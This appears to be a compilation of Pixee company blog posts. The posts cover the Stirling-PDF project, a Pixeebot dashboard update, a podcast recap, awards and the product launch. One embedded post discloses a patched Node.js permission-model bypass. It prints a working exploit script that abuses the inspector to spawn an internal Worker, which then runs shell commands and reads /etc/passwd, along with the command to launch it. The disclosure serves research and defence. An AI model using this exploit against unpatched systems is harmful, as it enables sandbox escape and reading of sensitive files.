Anthony began coding as a Java developer, and then later transitioned into DevOps. A throughline in his experience has been focusing on automation to make tasks easier, quicker, and more secure for the different users he works with. These focus areas guided him as he transitioned Stirling-PDF into an open source application.

That transition has had its own rewards and challenges. As Anthony puts it:

“Thankfully, the pros greatly outweigh the cons, the benefits are being able to give back to a community and have the community also give back to the project, and having so many collaborators gives me different viewpoints and skills in the work I do. creating a vastly improved application overall, both for quality and security. And for those without tech skills, it still means freedom to access, trust that others can verify code quality, and free for nontechnical contributions like translations”.

The challenges faced are those you might expect for this type of work. Time management, people management, securing funding, and code review. The latter improved significantly through the careful selection of tools.

Building a Toolset

In addition to Dependabot and Jenkins, Stirling-PDF is strengthened by a handful of other tools. Their application of different developer tools is an excellent example of leveraging multiple resources in conjunction to bolster security from various angles.

They started out using Sonar for general code health and security checks, noting the tool’s ease of integration as one of the main reasons for adoption. They complimented this with an additional security tool for pull request scanning, and reporting on dependency security issues.

Later on, they began using an additional tool for docker image vulnerability alerting. They found this to be a good addition as it caught some issues their other scanners missed and provided a nice view for docker images. Eventually, Pixeebot was added to the list. When asked what about Pixeebot appealed to him, Anthony explained:

“I liked Pixeebot for its security-focused results and automation. It seemed to catch things missed by others, and unlike others, it would offer possible solutions to the issues by creating its own PRs directly with the repo in an automated way… I am unaware of tools that make the solution so easy. I found it much nicer than things where I just have a ‘This is a possible solution code snippet’. Which often doesn't apply to the actual use case.”

As of today, 11 of Pixeebot’s fixes have been merged into Stirling-PDF, contributing to the application's security and performance.

What’s Next for Stirling-PDF

Stirling-PDF is constantly evolving and improving. Some of the upcoming features mentioned in their docs include tracking to provide real-time updates of ongoing operations, auto-rename functionality to rename files based on their title, and folder support.

Make sure to keep an eye on Stirling-PDF! There are currently multiple ways to contribute to the project, through coding and non-technical work. For more information, head over to their contributor guidelines. You can also show your support for the project by becoming a sponsor.

We are excited to share some major enhancements we have made to the User Dashboard. We have overhauled this surface to better reflect Pixeebot’s activity across all of your repositories, and make managing Pixeebot issues even more efficient.

Use this dashboard to gain insights into the types of issues that are found, the rate at which fixes are being merged, and the available fixes that Pixeebot has queued up for you. These changes were made as part of a larger effort to take the pain out of vulnerability remediation, and streamline the process of improving the security, quality, and performance of your code.

How to Access the User Dashboard

To access the User Dashboard, follow these steps:

1. Go to app.pixee.ai/login.

2. Select 'Sign In.'

3. Enter your GitHub login credentials.

All Pixeebot Activity in a Single Location

Use this dashboard as your source of truth for Pixeebot’s activity across all of your repositories. In addition to the added organization and repository counts, new filters at the top of the dashboard give you the ability to display performance insights by week or by month, on the organization and repository level.

New activity metrics give you multiple touchpoints to measure Pixeebot’s work:

• Average merge rate - The number of Pixeebot pull requests that have been merged, divided by the total number of Pixeebot pull requests

• Merged fixes - The number of Pixeebot pull requests that have been merged.

• Hours saved - Based on an estimated average of approximately 3 hours saved per Pixeebot pull request

• PRs hardened - The number of pull requests submitted by you or a member of your team that Pixeebot identified improvements for.

• Codemods hit - The codemods that handled the code transformations included in Pixeebot’s pull requests.

• Analyses run - The number of repository analyses completed by Pixeebot. This includes continuous improvement runs, PR analyses, and manual Pixeebot summons.

Detailed Issue Summary

The Issue Summary section is now separated into three tables:

• Open - A list of open Pixeebot issues.

• Available - A list of Pixeebot fixed queued for your repositories. The issues in this list are the same issues given in the ‘Available’ list on the Pixeebot Activity Dashboard found on GitHub.

• Completed - A list of Pixeebot issues that have been merged or closed.

Interactive Chart to Visualize Pixeebot's Fixes

The chart on the dashboard allows you to further drill into Pixeebot’s fixes, filtering by week or month. Use this to reference the dates of analyses, and hover over any date to see the number of fixes merged, and PRs opened and closed. This view gives you Pixeebot’s activity at a glance, making tracking the progress of issue remediation easier than ever.

What's Next

These changes to the user dashboard are just the beginning, with work on additional enhancements underway. Upcoming improvements include increased interactivity, and expanded views for better management of Pixeebot installations and issues.

They covered a good amount of territory during the 27-minute episode. Here are some highlights from their conversation:

What It Takes to Secure Code

As they began exploring the security challenges created by AI generated code, Arshan outlined the many factors required to get security right today:

“You need a massive organizational commitment to get secure code out the door. The normal code that you would just put out naively, which a lot of small companies do, is very vulnerable. And people don’t realize, unfortunately, that every line of code represents a brick in the castle of your attack perimeter. If you write two bad lines of code, somebody can abuse that to get into your system and pivot from there…”

How to Better Integrate Security

After discussing the implications that AI generation has on cybersecurity, Neil asked Arshan how the industry can better integrate security more deeply into the development process:

“The only way I can see out of this is to build virtual security engineers. Just like we’re using LLMs to generate a bunch of code, we need to generate AI agents that will handle all the human work of validation, training, fixing, triaging… All of the security that developers have to do, we have to have an AI that’s doing them.”

Pixee’s Approach to Code Security

The conversation lead to discussing what lead to Arshan and Surag Patel founding Pixee, and why they built Pixeebot:

“The whole point of it is to be that product security engineer. The angel on your shoulder, that as you write code we’re going to chime in with suggestions to your code. We’re not going to send you reports, we’re not going to send you findings, we’re not going to ask you to reverse engineer what the fix should be, we’re actually just going to send you the fix. This is very different from what traditionally has been offered on the market… Security is a fast changing field. We knew that we needed to build this agent to be the missing skillset on every development team to fix the vulnerabilities.”

The Full Episode

2726: Pixee - Who Secures Our Code When an Army of Robots is Writing It? is available on YouTube, and Neil’s blog.

The DEVIES Awards are the world's largest developer and engineering technology awards recognizing outstanding design, engineering, and innovation in developer and engineering technology.

Pixee's mission is to make all code high-quality by giving developers tools that automate vulnerability remediation and code hardening. A mission like this requires innovative and unique solutions, so being recognized as an innovator in tools that help secure applications and application data is an honor.

Pixeebot and the Pixee CLI were built to help teams squash bugs, efficiently tackle their technical debt, and eliminate significant factors of burnout, such as developer toil and cognitive load. The AppSecOpps space is filled with tools that find issues; what developers need is automated fixing, and Pixee is here to provide that.

This year's awards will be presented at the DEVIES Awards Ceremony at DeveloperWeek 2024. It will be held on February 21, 2024, in the Oakland Convention Center in Oakland, California. If you're at the conference, make sure to swing by Principal Engineer Dan D'avella's talk 'Writing Python Codemods for Fun and Profit", where he'll explore the Python Codemodder framework.

The Santander X challenge, promoted in partnership with Oxentia Foundation, aimed to support innovative solutions to cybersecurity demands. It was open to startups and scale-ups across 11 countries and received over 300 applicants. The winners were announced at this year's Web Summit conference in Lisbon, and our CEO Surag Patel was there to accept our award.

Reflecting on the win, Surag shared, "We're working hard to give developers a tool that easily makes their code more secure and performant, which is why we are so honored to be recognized as a disruptive and innovative solution in the cybersecurity space. It’s always encouraging when a bank with the vision and scale of Santander validates the problem and Pixee approach to the solution being a positive disruption to the status quo."

Pixee’s mission is to make all code high quality; Pixeebot makes this a reality. Pixeebot cuts through the noise created by traditional security tools, making it easy for teams to integrate security best practices into every stage of their development cycles.

Organizations need to consistently ship secure code, and developers need security tools they love using. Pixeebot elevates developer experience by seamlessly integrating into their workflows, and working in tandem with the security scanners their teams are already using.

Existing security tools start and stop at finding and reporting potential vulnerabilities. We set ourselves apart by going further. We fix the problems we find by delivering descriptive, merge-ready pull requests that developers can review and approve at their own pace, without disruption.

“I've been working in software security for 20 years with companies of all sizes, and when I hear security people interact with developers… my impression is that security people aren't really "getting" them… The developers I know are generally passionate people who want to build cool stuff, and take pride in their work. They're fascinated by exploits. They view security problems as embarrassing and try to fix real issues quickly.”

For organizations looking to bridge the gap between their development and security teams, Arshan emphasizes the importance of:

1. Incentivizing security throughout the development process: Security should be a collective responsibility, not just the domain of the security team.

2. Empowering Developers with non-disruptive, high-quality security tools: Most security tools are noisy and painful to work with. Developers need tools that do more than warn and alert, they need tools that help fix the problem.

3. Cultivating effective collaboration through an empathetic mindset, open communication, and ongoing education: Differing skill sets and perspectives are at play. Taking the time to better understand each team’s motivations and pain points leads to harmonious outcomes for all.

Addressing these areas can help create lasting successful partnerships between developers and security professionals, and effectively increase product security.

For the full blog post, see: https://nahsra.hashnode.dev/hey-security-people-developers-want-secure-code-too

The Vulnerability

The core problem was that restrictions made with the --experimental-permission flag could be bypassed by abusing the inspector module. The inspector is accessible from userland code without any special configuration or enabling CLI parameters -- is it weird to decide you want to debug your code, programmatically, after you start running it?

Anyway, the Worker class can take an argument (the kIsInternal Symbol) to create an "internal worker" that doesn't respect process-level restrictions.

You can't access this Symbol (kIsInternal) directly. However, the inspector module can, and it's not disabled when process-level restrictions are in place. If you're not familiar:

The node:inspector module provides an API for interacting with the V8 inspector.

If we attach inspector inside the Worker constructor before the new WorkerImpl is created we can use it to change the value of isInternal via a malicious conditional breakpoint.

The Exploit

Let's call the exploit bypass.js:

const { Session } = require('node:inspector/promises');

const session = new Session();
session.connect();

(async ()=>{
    await session.post('Debugger.enable');
    await session.post('Runtime.enable');

    global.Worker = require('node:worker_threads').Worker;

    let {result:{ objectId }} = await session.post('Runtime.evaluate', { expression: 'Worker' });
    let { internalProperties } = await session.post("Runtime.getProperties", { objectId: objectId });
    let {value:{value:{ scriptId }}} = internalProperties.filter(prop => prop.name == '[[FunctionLocation]]')[0];
    let { scriptSource } = await session.post("Debugger.getScriptSource", { scriptId });

    // find the line number where WorkerImpl is called. 
    const lineNumber = scriptSource.substring(0, scriptSource.indexOf("new WorkerImpl")).split('\n').length;

    // WorkerImpl will bypass permission for internal modules. We can inject the local var "isInternal = true" with a conditional breakpoint.
    await session.post("Debugger.setBreakpointByUrl", {
        lineNumber: lineNumber,
        url: "node:internal/worker",
        columnNumber: 0,
        condition: "((isInternal = true),false)"
    });

    new Worker(`
        const child_process = require("node:child_process");
        console.log(child_process.execSync("ls -l").toString());
        console.log(require("fs").readFileSync("/etc/passwd").toString())
    `, {
        eval: true,
        execArgv: [
            "--experimental-permission",
            "--allow-fs-read=*",
            "--allow-fs-write=*",
            "--allow-child-process",
            "--no-warnings"
        ]
    });

})()

Check out Matt's clever condition for the breakpoint, which overwrites the isInternal value during a boolean evaluation, which the debugger will call when deciding if it should "break" or not:

        condition: "((isInternal = true),false)"

You can run the exploit and prove the sandbox bypass with a command line this:

$ node --experimental-permission --allow-fs-read=$(pwd) bypass.js

If exploitation didn't work, you'd expect to see something like this:

node:internal/child_process:1103
  const result = spawn_sync.spawn(options);
                            ^

Error: Access to this API has been restricted

But you won't see that, you'll see /etc/passwd. 😬

Patched by Node.js

The Node.js team was responsive and quick to remediate this vulnerability. It was fixed in the June 20 2023 security release here: https://nodejs.org/en/blog/vulnerability/june-2023-security-releases

Further Research

There could be other ways to cause state changes to other internal APIs to achieve the same goal, but fortunately, most of the logic for sandboxing is in C land, so there's less attack surface from Node APIs.

I've heard this more times than I can count in my career, and I never believed it for a moment. It rings as hollow as saying, “teachers don’t care about kids”. If you've met a teacher, you'll likely agree that they care deeply. The real issue isn't a lack of caring, but the absence of the necessary tools and time to tackle the never-ending challenges in front of them. Sacrifices must often be made to meet the demanding needs of the business (or the school).

For the last year or so, we've been relentlessly pursuing the right solution to this problem. After speaking with hundreds of developers, managers, and security veterans, we've crafted a solution that zeros in on the heart of the challenge. As we've been building it, the anticipation has been killing us, and we can't wait to share it with you! But first, let's take an honest look at where we are today and why we must urgently address fixes to our code. Then, we'll introduce you to Pixeebot.

How We Got Here

We're living in an exhilarating age of developer productivity. IDEs predict our next keystrokes, AI copilots craft entire functions, and CI/CD pipelines drive our businesses forward in real-time.

Software now permeates nearly every aspect of our lives: driving our cars, powering our medical devices, and more. But here's the chilling reality: every new line of code, including those generated by LLM-powered tools, could be a vulnerability. While we were celebrating the new coding era, security lagged, trapped in outdated analyze, report and create ticket cycles.

Even with top-notch tools, the journey from identifying a problem to ensuring safe code is winding, complex, and fraught with error. It involves tools developers despise and often requires team members lacking the right skills. We frequently advise developers, “don’t write your own crypto”, yet demand they fix complex vulnerabilities. How can we accelerate while staying secure?

Introducing Pixeebot

The only scalable solution is having a security expert on every dev team. These experts could potentially harden code and fix vulnerabilities as fast as the developers (or AI assistants) can produce code. Unfortunately, there just aren't enough people with a deep understanding of security risks and coding practices.

Enter Pixeebot, your virtual product security engineer. Always present, it proactively hardens code, advises on pull requests, and responds to scans that detect vulnerabilities. Pixeebot is an always-on, always-available expert who speaks in code, not reports.

Built as a GitHub App, Pixeebot is engineered to boost developer productivity and eliminate backlog items, not just identify flaws. It's designed to feel like a coding partner, letting developers focus on innovation.

Powered by the open-source codemodder framework, Pixeebot's extensible platform can automate code changes specific to your team. It's time we made large-scale refactoring tools accessible to teams of all sizes vs just the few largest software companies in the world.

Who Are We?

We've been blessed to assemble a passionate team of developers who care about security and believe in a better way. We focus on solutions, not problems, to create a tool that we wish existed while we wrote software.

Our mission is to empower developers to craft top-quality code faster, fully leveraging generative AI's advancements.

What’s Next?

Security is just the beginning. The more users engage with Pixeebot, the more they see its potential for automated refactoring and leveraging LLM models for code transformation. The possibilities are thrilling.

Our vision is a future where developers are 100X more prolific developing code that is more secure, performant and higher quality.

Conclusion

As developers, we're united by the goal to create exceptional software. With tools like Pixeebot, we're poised to achieve this with previously unattainable confidence and efficiency. We're excited about a future where our tools solve problems rather than create them.

Your thoughts and feedback are vital to our journey. We want to hear from you.

How does this future sound to you? Get Pixeebot today!

-- Arshan & Surag